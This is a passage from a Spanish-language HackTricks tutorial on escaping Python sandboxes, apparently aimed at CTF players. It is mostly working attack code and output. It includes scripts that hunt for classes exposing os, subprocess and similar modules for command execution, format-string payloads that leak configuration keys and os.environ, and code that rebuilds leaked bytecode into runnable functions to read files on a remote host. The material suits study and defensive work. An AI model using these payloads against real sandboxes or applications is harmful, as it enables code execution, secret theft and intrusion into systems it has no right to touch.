builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""
```

Además, si crees que **otras bibliotecas** pueden **invocar funciones para ejecutar comandos**, también podemos **filtrar por nombres de funciones** dentro de las posibles bibliotecas:

```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPReq
```

## Búsqueda Recursiva de Builtins, Globals...

{% hint style="warning" %}
Esto es simplemente **increíble**. Si estás **buscando un objeto como globals, builtins, open o cualquier otra cosa**, simplemente usa este script para **encontrar de forma recursiva lugares donde puedas encontrar ese objeto**.
{% endhint %}

```python
import os, sys # Import these to find more gadgets

SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),

# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),

# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return

# If already checked, stop
#if name and name in ALREADY_CHECKED:
#    return

# Add to already checked
#if name:
#    ALREADY_CHECKED.add(name)

# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass

except:
pass

# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)

print()
print(SEARCH_FOR)


if __name__ == "__main__":
main()
```

Puedes verificar la salida de este script en esta página:

{% content-ref url="https://github.com/carlospolop/hacktricks/blob/es/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
[https://github.com/carlospolop/hacktricks/blob/es/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/es/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
{% endcontent-ref %}

## Cadena de formato en Python

Si **envías** una **cadena** a Python que va a ser **formateada**, puedes usar `{}` para acceder a la **información interna de Python**. Puedes usar los ejemplos anteriores para acceder a globales o builtins, por ejemplo.

{% hint style="info" %}
Sin embargo, hay una **limitación**, solo puedes usar los símbolos `.[]`, por lo que **no podrás ejecutar código arbitrario**, solo leer información.\
_**Si sabes cómo ejecutar código a través de esta vulnerabilidad, por favor contáctame.**_
{% endhint %}

```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```

Ten en cuenta cómo puedes **acceder a atributos** de forma normal con un **punto** como `people_obj.__init__` y elementos de un **diccionario** con **paréntesis** sin comillas `__globals__[CONFIG]`

También puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

Algunas otras características interesantes de las cadenas de formato es la posibilidad de **ejecutar** las funciones **`str`**, **`repr`** y **`ascii`** en el objeto indicado agregando **`!s`**, **`!r`**, **`!a`** respectivamente:

```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```

Además, es posible **codificar nuevos formateadores** en clases:

```python
class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```

**Más ejemplos** sobre ejemplos de **formato de cadena** se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info)

{% hint style="danger" %}
Consulte también la siguiente página para obtener dispositivos que **leerán información sensible de los objetos internos de Python**:
{% endhint %}

{% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %}

### Cargas útiles de divulgación de información sensible

```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
```

## Analizando Objetos de Python

{% hint style="info" %}
Si deseas **aprender** sobre el **bytecode de Python** en profundidad, lee este **increíble** artículo sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}

En algunos CTFs, se te puede proporcionar el nombre de una **función personalizada donde se encuentra la bandera** y necesitas ver los **detalles** de la **función** para extraerla.

Esta es la función a inspeccionar:

```python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"
```

#### dir

```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```

#### globals

`__globals__` y `func_globals` (Igual) Obtiene el entorno global. En el ejemplo se pueden ver algunos módulos importados, algunas variables globales y su contenido declarado:

```python
get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```

[**Ver aquí más lugares para obtener los globales**](./#globals-and-locals)

### **Accediendo al código de la función**

**`__code__`** y `func_code`: Puedes **acceder** a este **atributo** de la función para **obtener el objeto de código** de la función.

```python
# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```

### Obteniendo Información del Código

```python
# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```

### **Desensamblar una función**

```python
import dis
dis.dis(get_flag)
2           0 LOAD_CONST               1 (1)
3 STORE_FAST               1 (var1)

3           6 LOAD_CONST               2 ('secretcode')
9 STORE_FAST               2 (var2)

4          12 LOAD_CONST               3 ('some')
15 LOAD_CONST               4 ('array')
18 BUILD_LIST               2
21 STORE_FAST               3 (var3)

5          24 LOAD_FAST                0 (some_input)
27 LOAD_FAST                2 (var2)
30 COMPARE_OP               2 (==)
33 POP_JUMP_IF_FALSE       40

6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE

8     >>   40 LOAD_CONST               6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST               0 (None)
47 RETURN_VALUE
```

Ten en cuenta que **si no puedes importar `dis` en el sandbox de Python** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se cargan (`LOAD_CONST`) pero puedes adivinarlas a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando.

```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST          1 (1)
3 STORE_FAST          1 (1)
6 LOAD_CONST          2 (2)
9 STORE_FAST          2 (2)
12 LOAD_CONST          3 (3)
15 LOAD_CONST          4 (4)
18 BUILD_LIST          2
21 STORE_FAST          3 (3)
24 LOAD_FAST           0 (0)
27 LOAD_FAST           2 (2)
30 COMPARE_OP          2 (==)
33 POP_JUMP_IF_FALSE    40
36 LOAD_CONST          5 (5)
39 RETURN_VALUE
>>   40 LOAD_CONST          6 (6)
43 RETURN_VALUE
44 LOAD_CONST          0 (0)
47 RETURN_VALUE
```

## Compilando Python

Ahora, imaginemos que de alguna manera puedes **volcar la información sobre una función que no puedes ejecutar** pero que **necesitas** **ejecutar**.\
Como en el siguiente ejemplo, **puedes acceder al objeto de código** de esa función, pero solo leyendo el desensamblado **no sabes cómo calcular la bandera** (_imagina una función `calc_flag` más compleja_).

```python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```

### Creando el objeto de código

En primer lugar, necesitamos saber **cómo crear y ejecutar un objeto de código** para poder crear uno y ejecutar nuestra función filtrada:

```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```

{% hint style="info" %}
Dependiendo de la versión de Python, los **parámetros** de `code_type` pueden tener un **orden diferente**. La mejor manera de conocer el orden de los parámetros en la versión de Python que estás ejecutando es ejecutar:

```
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'
```
{% endhint %}

### Recreando una función filtrada

{% hint style="warning" %}
En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función a partir del objeto de código de la función directamente. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** es lo que **necesitarás filtrar**.
{% endhint %}

```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```

### Saltar Defensas

En los ejemplos anteriores al principio de esta publicación, puedes ver **cómo ejecutar cualquier código Python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **sola línea** (y podríamos hacer lo mismo usando **`exec`**).\
De todos modos, a veces podría ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la máquina del **CTF** (por ejemplo, porque no tenemos la función `compile` en el CTF).

Por ejemplo, compilamos y ejecutamos manualmente una función que lee _./poc.py_:

```python
#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
```

```python
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```

Si no puedes acceder a `eval` o `exec`, podrías crear una **función adecuada**, pero llamarla directamente generalmente fallará con: _constructor not accessible in restricted mode_. Por lo tanto, necesitas una **función que no esté en el entorno restringido para llamar a esta función**.

```python
#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```

## Decompilando Python Compilado

Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) uno puede **decompilar** el código Python compilado dado.

**Echa un vistazo a este tutorial**:

{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
{% endcontent-ref %}

## Misceláneo Python

### Assert

Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional en función del valor de **debug**.\
Por lo tanto, comprobaciones como

```python
def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```

serán evadidos

## Referencias

* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
* [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/)
* [https://gynvael.coldwind.pl/n/python\_sandbox\_escape](https://gynvael.coldwind.pl/n/python\_sandbox\_escape)
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)

**Try Hard Security Group**

<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

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